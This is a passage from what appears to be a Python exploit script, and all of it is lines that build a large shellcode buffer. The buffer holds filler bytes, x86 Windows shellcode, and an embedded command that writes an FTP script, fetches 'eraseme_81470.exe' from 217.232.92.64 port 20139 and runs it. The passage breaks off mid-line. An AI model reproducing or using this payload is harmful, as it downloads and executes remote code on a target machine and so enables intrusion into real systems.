b\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x03\\x00\\x23\\x82\\x0c\\x57\\x03\"\n shellcode += b\"\\x82\\x04\\x0a\\x00\\x90\\x42\\x90\\x42\\x90\\x42\\x90\\x42\\x81\\xc4\\x54\\xf2\"\n shellcode += b\"\\xff\\xff\\xfc\\xe8\\x46\\x00\\x00\\x00\\x8b\\x45\\x3c\\x8b\\x7c\\x05\\x78\\x01\"\n shellcode += b\"\\xef\\x8b\\x4f\\x18\\x8b\\x5f\\x20\\x01\\xeb\\xe3\\x2e\\x49\\x8b\\x34\\x8b\\x01\"\n shellcode += b\"\\xee\\x31\\xc0\\x99\\xac\\x84\\xc0\\x74\\x07\\xc1\\xca\\x0d\\x01\\xc2\\xeb\\xf4\"\n shellcode += b\"\\x3b\\x54\\x24\\x04\\x75\\xe3\\x8b\\x5f\\x24\\x01\\xeb\\x66\\x8b\\x0c\\x4b\\x8b\"\n shellcode += b\"\\x5f\\x1c\\x01\\xeb\\x8b\\x1c\\x8b\\x01\\xeb\\x89\\x5c\\x24\\x04\\xc3\\x31\\xc0\"\n shellcode += b\"\\x64\\x8b\\x40\\x30\\x85\\xc0\\x78\\x0f\\x8b\\x40\\x0c\\x8b\\x70\\x1c\\xad\\x8b\"\n shellcode += b\"\\x68\\x08\\xe9\\x0b\\x00\\x00\\x00\\x8b\\x40\\x34\\x05\\x7c\\x00\\x00\\x00\\x8b\"\n shellcode += b\"\\x68\\x3c\\x5f\\x31\\xf6\\x60\\x56\\xeb\\x0d\\x68\\xef\\xce\\xe0\\x60\\x68\\x98\"\n shellcode += b\"\\xfe\\x8a\\x0e\\x57\\xff\\xe7\\xe8\\xee\\xff\\xff\\xff\\x63\\x6d\\x64\\x20\\x2f\"\n shellcode += b\"\\x6b\\x20\\x65\\x63\\x68\\x6f\\x20\\x6f\\x70\\x65\\x6e\\x20\\x32\\x31\\x37\\x2e\"\n shellcode += b\"\\x32\\x33\\x32\\x2e\\x39\\x32\\x2e\\x36\\x34\\x20\\x32\\x30\\x31\\x33\\x39\\x20\"\n shellcode += b\"\\x3e\\x20\\x69\\x26\\x65\\x63\\x68\\x6f\\x20\\x75\\x73\\x65\\x72\\x20\\x31\\x20\"\n shellcode += b\"\\x31\\x20\\x3e\\x3e\\x20\\x69\\x20\\x26\\x65\\x63\\x68\\x6f\\x20\\x67\\x65\\x74\"\n shellcode += b\"\\x20\\x65\\x72\\x61\\x73\\x65\\x6d\\x65\\x5f\\x38\\x31\\x34\\x37\\x30\\x2e\\x65\"\n shellcode += b\"\\x78\\x65\\x20\\x3e\\x3e\\x20\\x69\\x20\\x26\\x65\\x63\\x68\\x6f\\x20\\x71\\x75\"\n shellcode += b\"\\x69\\x74\\x20\\x3e\\x3e\\x20\\x69\\x20\\x26\\x66\\x74\\x70\\x20\\x2d\\x6e\\x20\"\n shellcode += b\"\\x2d\\x73\\x3a\\x69\\x20\\x26\\x65\\x72\\x61\\x73\\x65\\x6d\\x65\\x5f\\x38\\x31\"\n shellcode += b\"\\x34\\x37\\x30\\x2e\\x65\\x78\\x65\\x0d\\x0a\\x00\\x42\\x42\\x42\\x42\\x42\\x42\"\n shellcode += b\"\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\"\n shellcode += b\"\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\"\n shellcode += b\"\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\"\n shellcode += b\"\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\"\n shellcode += b\"\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\"\n shellcode += b\"\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\"\n shellcode += b\"\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\"\n shellcode += b\"\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\"\n shellcode += b\"\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\"\n shellcode += b\"\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\"\n shellcode += b\"\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\"\n shellcode += b\"\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\"\n shellcode += b\"\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\"\n shellcode += b\"\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\"\n shellcode += b\"\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\"\n shellcode += b\"\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\"\n shellcode += b\"\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\"\n shellcode += b\"\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\"\n shellcode += b\"\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\"\n shellcode += b\"\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\"\n shellcode += b\"\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\"\n shellcode += b\"\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\"\n shellcode += b\"\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\"\n shellcode += b\"\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\"\n shellcode += b\"\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\"\n shellcode += b\"\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\"\n shellcode += b\"\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\"\n shellcode += b\"\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\"\n shellcode += b\"\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\"\n shellcode += b\"\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\"\n shellcode += b\"\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\"\n shellcode += b\"\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\"\n shellcode += b\"\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\"\n shellcode += b\"\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\"\n shellcode += b\"\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\"\n shellcode += b\"\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\"\n shellcode += b\"\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\"\n shellcode += b\"\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\"\n shellcode += b\"\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\"\n shellcode += b\"\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\"\n shellcode += b\"\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\"\n shellcode += b\"\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\"\n shellcode += b\"\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\"\n shellcode += b\"\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\"\n shellcode += b\"\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\"\n shellcode += b\"\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x23\\x0a\\x03\"\n shellcode += b\"\\x08\\x00\\xf8\\x0f\\x01\\x00\\xf8\\x0f\\x01\\x23\\x82\\x08\\x39\\x03\\x82\\x04\"\n shellcode += b\"\\x11\\x00\\x43\\x43\\x43\\x43\\x20\\xf0\\xfd\\x7f\\x53\\x56\\x57\\x66\\x81\\xec\"\n shellcode += b\"\\x80\\x00\\x89\\xe6\\xe8\\xed\\x00\\x00\\x00\\xff\\x36\\x68\\x09\\x12\\xd6\\x63\"\n shellcode += b\"\\xe8\\xf7\\x00\\x00\\x00\\x89\\x46\\x08\\xe8\\xa2\\x00\\x00\\x00\\xff\\x76\\x04\"\n shellcode += b\"\\x68\\x6b\\xd0\\x2b\\xca\\xe8\\xe2\\x00\\x00\\x00\\x89\\x46\\x0c\\xe8\\x3f\\x00\"\n shellcode += b\"\\x00\\x00\\xff\\x76\\x04\\x68\\xfa\\x97\\x02\\x4c\\xe8\\xcd\\x00\\x00\\x00\\x31\"\n shellcode += b\"\\xdb\\x68\\x10\\x04\\x00\\x00\\x53\\xff\\xd0\\x89\\xc3\\x56\\x8b\\x76\\x10\\x89\"\n shellcode += b\"\\xc7\\xb9\\x10\\x04\\x00\\x00\\xf3\\xa4\\x5e\\x31\\xc0\\x50\\x50\\x50\\x53\\x50\"\n shellcode += b\"\\x50\\xff\\x56\\x0c\\x8b\\x46\\x08\\x66\\x81\\xc4\\x80\\x00\\x5f\\x5e\\x5b\\xff\"\n shellcode += b\"\\xe0\\x60\\xe8\\x23\\x00\\x00\\x00\\x8b\\x44\\x24\\x0c\\x8d\\x58\\x7c\\x83\\x43\"\n shellcode += b\"\\x3c\\x05\\x81\\x43\\x28\\x00\\x10\\x00\\x00\\x81\\x63\\x28\\x00\\xf0\\xff\\xff\"\n shellcode += b\"\\x8b\\x04\\x24\\x83\\xc4\\x14\\x50\\x31\\xc0\\xc3\\x31\\xd2\\x64\\xff\\x32\\x64\"\n shellcode += b\"\\x89\\x22\\x31\\xdb\\xb8\\x90\\x42\\x90\\x42\\x31\\xc9\\xb1\\x02\\x89\\xdf\\xf3\"\n shellcode += b\"\\xaf\\x74\\x03\\x43\\xeb\\xf3\\x89\\x7e\\x10\\x64\\x8f\\x02\\x58\\x61\\xc3\\x60\"\n shellcode += b\"\\xbf\\x20\\xf0\\xfd\\x7f\\x8b\\x1f\\x8b\\x46\\x08\\x89\\x07\\x8b\\x7f\\xf8\\x81\"\n shellcode += b\"\\xc7\\x78\\x01\\x00\\x00\\x89\\xf9\\x39\\x19\\x74\\x04\\x8b\\x09\\xeb\\xf8\\x89\"\n shellcode += b\"\\xfa\\x39\\x5a\\x04\\x74\\x05\\x8b\\x52\\x04\\xeb\\xf6\\x89\\x11\\x89\\x4a\\x04\"\n shellcode += b\"\\xc6\\x43\\xfd\\x01\\x61\\xc3\\xa1\\x0c\\xf0\\xfd\\x7f\\x8b\\x40\\x1c\\x8b\\x58\"\n shellcode += b\"\\x08\\x89\\x1e\\x8b\\x00\\x8b\\x40\\x08\\x89\\x46\\x04\\xc3\\x60\\x8b\\x6c\\x24\"\n shellcode += b\"\\x28\\x8b\\x45\\x3c\\x8b\\x54\\x05\\x78\\x01\\xea\\x8b\\x4a\\x18\\x8b\\x5a\\x20\"\n shellcode += b\"\\x01\\xeb\\xe3\\x38\\x49\\x8b\\x34\\x8b\\x01\\xee\\x31\\xff\\x31\\xc0\\xfc\\xac\"\n shellcode += b\"\\x38\\xe0\\x74\\x07\\xc1\\xcf\\x0d\\x01\\xc7\\xeb\\xf4\\x3b\\x7c\\x24\\x24\\x75\"\n shellcode += b\"\\xe1\\x8b\\x5a\\x24\\x01\\xeb\\x66\\x8b\\x0c\\x4b\\x8b\\x5a\\x1c\\x01\\xeb\\x8b\"\n shellcode += b\"\\x04\\x8b\\x01\\xe8\\x89\\x44\\x24\\x1c\\x61\\xc2\\x08\\x00\\xeb\\xfe\\x43\\x43\"\n shellcode += b\"\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\"\n shellcode += b\"\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\"\n shellcode += b\"\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\"\n shellcode += b\"\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\"\n shellcode += b\"\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\"\n shellcode += b\"\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\"\n shellcode += b\"\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\"\n shellcode += b\"\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\"\n shellcode += b\"\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\"\n shellcode += b\"\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\"\n shellcode += b\"\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\"\n shellcode += b\"\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\"\n shellcode += b\"\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\"\n shellcode += b\"\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\"\n shellcode += b\"\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\"\n shellcode += b\"\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\"\n shellcode += b\"\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\"\n shellcode += b\"\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\"\n shellcode += b\"\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\"\n shellcode += b\"\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\"\n shellcode += b\"\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\"\n shellcode += b\"\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\"\n shellcode += b\"\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\"\n shellcode += b\"\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\"\n shellcode += b\"\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\"\n shellcode += b\"\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\"\n shellcode += b\"\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\"\n shellcode += b\"\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\"\n shellcode += b\"\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\"\n shellcode += b\"\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\"\n shellcode += b\"\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\"\n shellcode += b\"\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\"\n shellcode += b\"\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\"\n shellcode += b\"\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\"\n shellcode += b\"\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\"\n shellcode += b\"\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\"\n shellcode += b\"\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\"\n shellcode += b\"\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\"\n shellcode += b\"\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\"\n shellcode += b\"\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\"\n shellcode += b\"\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\"\n shellcode += b\"\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\"\n shellcode += b\"\\x43\\x43\\x23\\x82\\x04\\x20\\x03\\x09\\x00\\xeb\\x06\\x90\\x90\\x90\\x90\\x90\"\n shellcode += b\"\\x90\\x03\\x82\\x04\\x11\\x00\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n shellcode += b\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n shellcode += b\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n shellcode += b\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n shellcode += b\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n shellcode += b\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n shellcode += b\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n shellcode += b\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n shellcode += b\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n shellcode += b\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n shellcode += b\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n shellcode += b\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n shellcode += b\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n shellcode += b\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n shellcode += b\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n shellcode += b\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n shellcode += b\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n shellcode += b\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n shellcode += b\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n shellcode += b\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n shellcode += b\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n shellcode += b\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n shellcode += b\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n shellcode += b\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n shellcode += b\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n shellcode += b\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n shellcode += b\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n shellcode += b\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n shellcode += b\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n shellcode += b\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n shellcode += b\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n shellcode += b\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n shellcode += b\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n shellcode += b\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n shellcode += b\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n shellcode += b\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n shellcode += b\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n shellcode += b\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n shellcode += b\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n shellcode += b\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n shellcode += b\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n shellcode += b\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n shellcode += b\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n shellcode += b\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n shellcode += b\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n shellcode += b\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n shellcode += b\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n shellcode += b\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n shellcode += b\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n shellcode += b\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n shellcode += b\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n shellcode += b\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n shellcode += b\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n shellcode += b\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n shellcode += b\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n shellcode += b\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n shellcode += b\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n shellcode += b\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n shellcode += b\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n shellcode += b\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n shellcode += b\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n shellcode += 